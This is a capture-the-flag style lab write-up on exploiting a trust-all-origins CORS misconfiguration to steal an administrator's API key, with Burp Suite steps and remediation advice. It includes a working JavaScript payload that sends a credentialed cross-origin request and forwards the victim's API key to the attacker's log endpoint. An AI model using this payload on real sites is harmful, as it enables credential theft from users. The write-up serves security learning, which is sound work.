SCENARIO

The application has an insecure CORS configuration in it which forces the application to trust all origins. We’ll try to exploit the vulnerability by getting the administrator’s API key.

**PROCEDURE**

1. Open the vulnerable application and log in using the provided credentials and access the **my-account** page.
2. Open the Proxy tab in BurpSuite and we notice that there is a request made named **accountDetails** which contains the API key of the user.
3. Now we will send this request to repeater and there we see that the **ACAO** header is set as true which could be a sign that the application allows requests from all origins.
4. To test this, we will add the Payload 1 in the request and send it, we see that it is accepted so now we will develop an exploit using some malicious JavaScript code.
5. Now add the Payload 2 into the exploit server’s body and store then deliver it to the target.
6. We can see that there comes a request with a unique URL and in it there comes the API key of the administrator encoded in URL format.

**PAYLOAD**

1. Origin: www.random.com
2. <script>

var req = new XMLHttpRequest();

req.onload = reqListener;

req.open('get','https://0aca008404c3aee5805a6c3300ed0005.web-security-academy.net/accountDetails',true);

req.withCredentials = true;

req.send();

function reqListener() {

location='/log?apiKey='+this.responseText;

};

</script>

**REMEDIATION**

1. **Restrictive CORS Policy:** The root cause of the vulnerability is the application's permissive CORS configuration. The application should never trust all origins. Update the Access-Control-Allow-Origin header to only allow trusted domains, rather than using a wildcard (\*).
2. **Credentials with CORS:** If you absolutely have to use wildcards in CORS (e.g., for public API endpoints), ensure you don't support credentials (cookies, HTTP authentication, client-side SSL certificates). Set Access-Control-Allow-Credentials to false.
3. **API Key Protection:** API keys should not be exposed directly in the client side. Rather than making calls directly from the client side that exposes API keys, consider making those calls from the server side. Use server-side sessions or another method to handle sensitive operations.